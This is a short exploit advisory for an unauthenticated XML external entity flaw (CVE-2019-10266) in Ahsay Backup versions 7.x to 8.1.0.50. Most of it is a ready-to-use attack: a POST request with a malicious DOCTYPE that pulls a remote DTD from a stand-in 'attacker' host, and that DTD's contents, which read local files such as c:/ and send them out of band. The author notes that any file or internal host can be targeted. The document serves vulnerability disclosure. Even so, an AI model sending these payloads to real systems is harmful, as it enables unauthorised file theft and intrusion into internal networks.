Ahsay Backup 7.x – 8.1.1.50 – XML External Entity Injection
# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50. # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe # Version: 7.x < 8.1.0.50 # Tested on: Windows / Linux # CVE : CVE-2019-10266 #Ahsay is vulnerable to a OOB Unauthenticated XML External Entity #More info https://www.wbsec.nl/ahsay/#CVE-2019-10263 Sending the following POST request will trigger the XXE: POST /obs/obm8/user/setUserProfile HTTP/1.1 Content-Type: application/octet-stream Content-Length: 126 Host: 172.16.238.213:80 <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]> On http://attacker/oob add the following content: <!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY % trick SYSTEM 'file://:%payl;/%payl;'>"> Here it is possible to change file:///c:/ to any directory/file or internal host. |